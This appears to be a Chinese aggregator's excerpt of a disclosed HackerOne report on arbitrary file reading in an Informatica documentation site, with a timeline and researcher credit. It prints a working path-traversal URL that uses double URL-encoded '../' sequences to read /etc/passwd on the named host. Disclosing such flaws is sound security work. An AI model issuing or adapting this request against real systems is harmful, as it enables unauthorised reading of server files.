[doc.rt.informaticacloud.com] Arbitrary File Reading via Double URL Encode
该报告还没有中文解读。
原文摘录
摘自原文（1486 字符中的一小部分）
Hi. Attacker can read arbitrary file in system via next query:
原文中的代码
http://doc.rt.informaticacloud.com/infocenter/ActiveVOS/v92/topic/com.activee.bpep.doc/images/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Informatica 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bigbear_ · 版权归作者与 Informatica 所有